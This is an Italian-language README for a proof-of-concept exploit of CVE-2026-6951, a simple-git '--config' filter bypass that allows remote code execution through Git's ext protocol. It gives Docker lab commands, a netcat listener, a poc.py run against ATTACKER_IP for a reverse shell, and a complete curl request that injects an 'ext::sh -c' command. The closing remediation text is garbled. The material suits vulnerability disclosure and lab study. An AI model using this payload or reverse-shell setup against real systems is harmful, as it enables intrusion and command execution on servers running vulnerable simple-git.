
Proof-of-concept exploit per CVE-2026-6951, un bypass del filtro `--config` di simple-git che consente l'RCE tramite il protocollo Git ext, con un laboratorio Docker e un payload reverse shell.
★ CVE-2026-6951 simple-git --config Option Filter Bypass RCE PoC ★
https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67
CVE-2026-6951 è una vulnerabilità di esecuzione di codice in remoto in
simple-gitcausata da una correzione incompleta per CVE-2022-25912. Sebbene l'opzione-csia stata bloccata, l'opzione equivalente--confignon è stata adeguatamente limitata. Un attaccante in grado di controllare gli argomenti di Git può abilitare il protocolloexted eseguire comandi arbitrari tramite un URL di repositoryext::.
| Categoria | Versione |
|---|---|
| Vulnerabile | versioni di simple-git precedenti alla 3.36.0 |
| Corretta | simple-git 3.36.0 o successiva |
Questo ambiente utilizza simple-git 3.35.2 e @simple-git/argv-parser 1.0.3.
Compila ed esegui l'ambiente vulnerabile.
docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951
Accedi al servizio all'indirizzo:
http://127.0.0.1:9107
Verifica lo stato del servizio.
curl -s http://127.0.0.1:9107/api/health
Il repository di esempio integrato è disponibile all'indirizzo:
file:///srv/git/sample.git
Avvia un listener sul sistema dell'attaccante.
nc -lvnp 4444
Esegui lo script di exploit.
python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444
La seguente richiesta esegue il comando id sfruttando l'opzione --config non limitata e il protocollo ext di Git.
curl -s -X POST http://127.0.0.1:9107/api/import \
-H 'Content-Type: application/json' \
--data-raw '{
"repository":"ext::sh -c id% >&2",
"name":"id-check",
"options":["--config","protocol.ext.allow=always"],
"environment":{}
}'
simple-git alla versione 3.36.0 o successiva.simple-git.ext::.